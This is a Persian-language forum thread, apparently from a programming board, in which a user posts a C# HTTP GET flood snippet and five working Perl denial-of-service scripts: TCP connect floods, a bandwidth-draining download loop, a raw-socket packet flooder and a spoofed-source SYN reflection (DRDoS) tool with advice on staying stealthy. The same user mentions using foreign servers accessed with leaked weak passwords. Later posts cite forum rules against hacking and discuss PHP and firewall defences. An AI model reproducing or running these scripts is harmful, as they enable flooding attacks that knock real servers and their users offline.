HTTP Flooder که ما بهش احتیاج داریم رو بسیار ساده نوشته
که البته کلیه ی این نوع حملات کد نویسی ساده ای دارن
یه HTTP Get Request به تارگت میفرسته با چندتا سوکت TCP
اینم از HTTP Get Request Code:

StringBuilder builder = new StringBuilder();
builder.AppendLine(string.Format("GET /{0} HTTP/1.1", this.pageURI));
builder.AppendLine(string.Format("Host: {0}", this.host));
builder.AppendLine("Connection: Keep-Alive");
builder.AppendLine();
return builder.ToString();

همونطور که میبینید این Request توی یه Function گرفته میشه و فرستاده میشه.

viiictor

یک شنبه 07 اردیبهشت 1393, 15:05 عصر

یعنی اینا سرورهای ملته که پسوردش لو رفته؟
اونوقت خودشون کجان چرا متوجه نشدن جلوش رو نمیگیرن؟

با توجه به قوانین هیچ سرور داخلی (ایران) در تاپیک یاد شده یافت نخواهد شد.
سرور های خارجی هست که به هر دلیل (ضعف در امنیت - عدم اهمیت و ...) از یوزر و پسورد های ساده و رایج استفاده کرده اند.
میتونید از این سرور ها استفاده کنید و این که تا چه زمانی تضمین پایداری دارند کاملا مربوط به مالک سرور میشود.
خود بنده از یکی از سرور ها که در تاپیک قرار دادم حدود 3 هفته هست استفاده میکنم!
چندین بار ادمین هم لاگین بوده بنده هم لاگین بودم و تا به حال نه یوزر حذف شده نه پسورد چنج شده !

دیداسر های جدید (تحت ویندوز و اسکریپت) به زودی قرار میدم

SlowCode

یک شنبه 07 اردیبهشت 1393, 18:17 عصر

دوست عزیز لطفا فایل اجرایی نزارین!

قانون شماره 10
مطرح کردن و پاسخ به مباحثی که به هک و کرک ( از دید منفی ) و مسائلی که باعث آزار و اذیت دیگران شود اکیداً ممنوع است.
به سورس هم میتونن گیر بدن.
حیف اینگونه بحث هاست! یهو دیدی مدیران اومدن تاپیکو بستن!

viiictor

دوشنبه 08 اردیبهشت 1393, 00:41 صبح

دوست عزیز لطفا فایل اجرایی نزارین!

به سورس هم میتونن گیر بدن.
حیف اینگونه بحث هاست! یهو دیدی مدیران اومدن تاپیکو بستن!

با تشکر از شما
اما تاپیک مرجع و بسیار مفیدی خواهد شد!
چشم من دیگه اجرایی نمیزارم
اسکریپت تحت وب و سورس تحت ویندوز میزارم فقط ! ممنونم

omidabedi

دوشنبه 08 اردیبهشت 1393, 10:22 صبح

دوست عزیز لطفا فایل اجرایی نزارین!

به سورس هم میتونن گیر بدن.
حیف اینگونه بحث هاست! یهو دیدی مدیران اومدن تاپیکو بستن!

اگه بخوایم به دید منفی نگاه کنیم که ساده ترین اطلاعات رو هم نباید بزاریم
اگه قراربود اینجوری باشه علم هم خطراتش زیادتره هک هست پس اونم نباید ترویج بشه هرچند که هک و کامپیوتر یک نوع علم هست

viiictor

یک شنبه 14 اردیبهشت 1393, 13:50 عصر

تاپیک به مدته خوابه !!!!

چند تا اسکریپت پرل دیداس برای بررسی توسط اساتید و پیدا کردن روش مقابله !

1

#!/usr/bin/perl
use IO::Socket;
if(!defined($ARGV[2])){
print "Dos Target : ";
$host = <STDIN>;
chop ($host);
print "Port : ";
$port = <STDIN>;
chop ($port);
print "SYN Requests to send : ";
$num = <STDIN>;
chop ($num);
}
if(defined($ARGV[2])){
$host = $ARGV[0];

$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dose
d?.\n";
syswrite STDOUT, "SYN Request: $i\n";
}

print "\n\nEnd Of NitStorm\n\n\n";
print "Press Enter To Exit...";
$end = <STDIN>;

chop ($end);

2

#!/usr/bin/perl
use LWP::Simple;
print q{
================================================== ===============================
################################################## ###############################
================================================== ===============================
######################## Frist Name Of The God ########################
#################### Quantum Digital Security Team ###################
################### Pri8 dDoSer Script (Bw Fucker) ####################
########################## Coded By Pejvak ###########################
================================================== ===============================
################################################## ###############################
================================================== ===============================
};
$ARGC=@ARGV;
print("Plz Insert File On The Host Victem Example(http://Qn2.Org/file.rar)\n");
print("Address File = ");
$addressfile=(<stdin>);
chop ($addressfile);
print("\nPlz Insert Requast Number Example( 20 )\n");
print("Number = ");
$timenumber=(<stdin>);
chop ($timenumber);
print("\nDDoS Started!!!");
$i=0;
while($i<$timenumber){
$i=$i+1;
getstore($addressfile,rand(10).".Qn2");
print("\n@");
}
print("\n Check Ping Site Vistem ");
print("Yes To Check Or No To Exit = ");
$yn=(<stdin>);
chop ($yn);
if($yn=="yes"){
system('ping '."$addressfile");
}
print("\n===========================Done================= ==========\n");
print("================================================== =============\n");
print("================ Quantum Digital Security Team ==================\n");
print("============================ By Pejvak ============================\n");
print("========= Special TnX For Nashenas , Neo , R3d.W0rm , Ali57 , Cair3x =========\n");

3

#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "\n";
printf " --== PRIV8 DDOSER TOOL==-- \n\n";
printf "$0 <ip> <port> <time>\n\n";
printf "Example : <ip> <port> 0\n";
printf "Example : <ip> <port> 2 \n\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(SOCK1, PF_INET, SOCK_DGRAM, 17);
socket(SOCK2, PF_INET, SOCK_RAW, 2);
socket(SOCK3, PF_INET, SOCK_RAW, 1);
socket(SOCK4, PF_INET, SOCK_RAW, 6);
$iaddr = inet_aton("$ip");

printf "Attack Start ... $ip\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}

if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packet;
}

if ($ARGV[1] ==2 && $ARGV[2] ==2) {
goto randpacket;
}

packet:
for(;;) {
$size=$rand x $rand x $rand;
send(SOCK1, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK2, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK3, 0, $size, sockaddr_in($port, $iaddr));
#send(SOCK4, 0, $size, sockaddr_in($port, $iaddr));
}

randpacket:
for(;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000)+1;
for($i = 3; $i <= 255; $i++) {
next if $i == 6;
socket(SOCK5, PF_INET, SOCK_RAW, $i) or next;
send(SOCK5, 0, $size, sockaddr_in($port, $iaddr));
}
}

randpackets:
for(;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(SOCK1, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK2, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK3, 0, $size, sockaddr_in($port, $iaddr));
#send(SOCK4, 0, $size, sockaddr_in($port, $iaddr));
}

4

#!/usr/bin/perl

#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of the LGPL.
# for a short usage type ./script --help
# this program requires: perl, Net::RawIP (depends on libpcap), Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#

use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;

my $verbose = '0';
my $syn_count = '1';
my $victim = '127.0.0.1';
my @lists = ();
my $net = new Net::RawIP;

GetOptions(
'verbose+' => \$verbose,
'syn_count=s' => \$syn_count,
'list=s' => \@lists,
'help' => \&usage,
);
$victim = shift @ARGV;
if ( !$victim ) {
die "Error: No target specified, use --help\n";
}
if ( !@lists ) {
die "Error: You have to specify at least one reflector list, use --help\n";
}
foreach my $file (@lists) {
if ( !-e $file ) {
die "File does not seem to exist: $file\n";
}
}
print "Starting attack on target $victim.\n";
print "press Ctrl-C to interrupt at any time.\n" if $verbose >= 1;
while (1) {
foreach my $listfile (@lists) {
print "Loading reflector file: $listfile\n" if $verbose >= 1;
open( my $list, "<", $listfile )
or die "Error opening file for reading: $listfile\n";
while (<$list>) {
chomp;
if ( check_format($_) ) {
my $counter = $syn_count;
my $reflector = $_;
my ( $ip, $port ) = split( ':', $reflector );
print "reflector ip: $ip, reflector port: $port\n"
if $verbose > 1;
for ( my $counter = $syn_count; $counter > 0; $counter-- ) {
print "attacking using reflector: $reflector\n"
if $verbose > 1;
my $rand = int( rand(65535) );
while ( $rand == 0 ) {
print
"random number calculated for SRCPORT was zero, retrying...\n"
if $verbose > 1;
$rand = int( rand(65535) );
}
print "random port used for SRCPORT: $rand\n"
if $verbose > 1;
$net->set(
{ ip => {
saddr => $victim,
daddr => $ip,
},
tcp => {
source => $rand,
dest => $port,
syn => 1,
},
}
);
$net->send();
}
}
else {
print
"mirror \"$_\" not in correct format (ip:port) omitting...\n"
if $verbose >= 1;
}
}
}
}

sub usage {
print "\nusage:\n\n";
print "--help\t\t: youre reading it\n";
print
"--verbose\t: makes the script more verbose. can be used several times to increase verbosity.\n";
print "--list\t\t: used to specify a reflectorlist.\n";
print
"\t\texample: ./script --list list1.txt --list list2.txt --list list3.txt 127.0.0.1\n";
print
"\t\tthe more (and longer) lists you have, the better will the result be, and the more stealth you will gain.\n";
print
"--syn_count\t: used to set the syn_count to a special value. default is 1.\n";
print "\t\tdon't use too much - that would decrease your stealth. Default (and that should be fine) is 1.\n";
print "\nGeneral information:\n";
print "The usage of multiple lists can increase your stealth.\n";
print "The more Mirrors or \"reflectors\" you use, the better will the result be.\n";
print "The better the bandwidth of your mirrors is, the better will the result be.\n";
print "Generally spoken is the bandwidth you use to flood your victim amplified by the factor 3-4.\n\n";
die "\n";
}

sub check_format { # a function to check the ip:port format.
no warnings;
my $address = shift;
my ( $ip, $port ) = split( ':', $address );
my @octets = split( '\.', $ip );

if ( $port < 1 or $port > 65535 ) {
print "port $port too high or low\n" if $verbose >= 1;
return;
}
if ( @octets != 4 ) {
print "ip has invalid number of octetts: $ip\n" if $verbose >= 1;
return;
}
foreach my $octet (@octets) {
if ( $octet < 0 or $octet > 255 ) {
print "octet is invalid: $octet\n" if $verbose >= 1;
return;
}
}
print "VALID!\n" if $verbose > 1;
return 1;
}

5

#!/usr/bin/perl
use IO::Socket;
print q(

########--->>> DATA ir D.O.S Attacker (V 1.0.0) <<<---########

Usage : Perl named.pl <host> <port>
Examp : Perl ddoser.pl 127.0.0.1 80
);
my $host= shift;
my $port= shift;
if ($host!=null){
printf ("\n\t\t . . . . . . Attack Started . . . . . . .\n\n\n");
sleep (2);
for ($i=0; ;$i--)
{
$len = length $form;
$get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || redo;
syswrite STDOUT, ".";
}
}
else
{exit(0);}

SlowCode

سه شنبه 16 اردیبهشت 1393, 12:25 عصر

چند تا اسکریپت پرل دیداس برای بررسی توسط اساتید و پیدا کردن روش مقابله !
روش مقابله با اینگونه حملات فراتر از php هست!
آقای eshpilen ایکاش این بحث رو تو یه تالار مناسب مطرح میکردین.
تشخیص این حملات به عهده فایروال هست! با php ما فقط به پورت 80 دسترسی داریم!
ولی این حملات انواع پورت ها رو مورد حمله قرار میدن، udp, ftp, ...

حتی اگه بخواییم با php بنویسیم باز اشتباهه! برای مثال میاییم از این کد استفاده میکنیم:

if (!isset($_SESSION)) {
session_start();
}
// anti flood protection
if($_SESSION['last_session_request'] > time() - 2){
// users will be redirected to this page if it makes requests faster than 2 seconds
header("location: http://site.com");
exit;
}
$_SESSION['last_session_request'] = time();
خب اینجا باز هم از منابع سرور استفاده میشه!
پس بهترین راه استفاده از فایروال و iptables هست که بحثشون از حیطه php خارج هست.
با همین ufw میتونیم تا حدودی جلوی dos رو بگیریم.

eshpilen

چهارشنبه 17 اردیبهشت 1393, 10:14 صبح

حتی اگه بخواییم با php بنویسیم باز اشتباهه! برای مثال میاییم از این کد استفاده میکنیم:

if (!isset($_SESSION)) {
session_start();
}
// anti flood protection
if($_SESSION['last_session_request'] > time() - 2){
// users will be redirected to this page if it makes requests faster than 2 seconds
header("location: http://site.com");
exit;
}
$_SESSION['last_session_request'] = time();

خب روبات طرف که لزوما نمیاد هر بار کوکی سشن رو هم که شما ست کردید ارسال کنه!
در نتیجه هر بار انگار درخواست اوله و هیچ سشنی از قبل وجود نداره که زمان درخواست قبلی توش باشه که بشه با زمان درخواست فعلی مقایسه کرد.
ولی البته در موارد خاصی که سشن برای انجام عملیات مورد نظر حتما باید وجود داشته باشه میشه از اینطور ایده ها استفاده کرد.

روش مقابله با اینگونه حملات فراتر از php هست!
آقای eshpilen ایکاش این بحث رو تو یه تالار مناسب مطرح میکردین.
تشخیص این حملات به عهده فایروال هست! با php ما فقط به پورت 80 دسترسی داریم!
ولی این حملات انواع پورت ها رو مورد حمله قرار میدن، udp, ftp, ...
...
خب اینجا باز هم از منابع سرور استفاده میشه!
پس بهترین راه استفاده از فایروال و iptables هست که بحثشون از حیطه php خارج هست.
با همین ufw میتونیم تا حدودی جلوی dos رو بگیریم.

آره منم که گفتم همهء این حملات رو نمیشه در سطح برنامه جلوشون رو گرفت؛ به دلیل اینکه خیلی هاش اصلا در سطح برنامه های برنامه نویسان عادی وب نیست، و دیگر بخاطر اینکه ممکنه در سطح برنامه اصلا کارایی جهت جلوگیری بهینه نباشه و باید برای کارایی بهتر در سطح پایین تر یا با ابزارهای دیگری جلوگیری کرد.
ولی بهتر دیدم بصورت کلی به این حملات بپردازیم تا انواع و ابعادش برای بقیه مشخص بشه و بحث آموزشی کامل باشه.
اما مواردی هم بالاخره هست که شناسایی و جلوگیری در سطح برنامه های وب ممکن یا حتی بهتره؛ خواستم اون موارد رو هم در این تاپیک مطرح کنیم.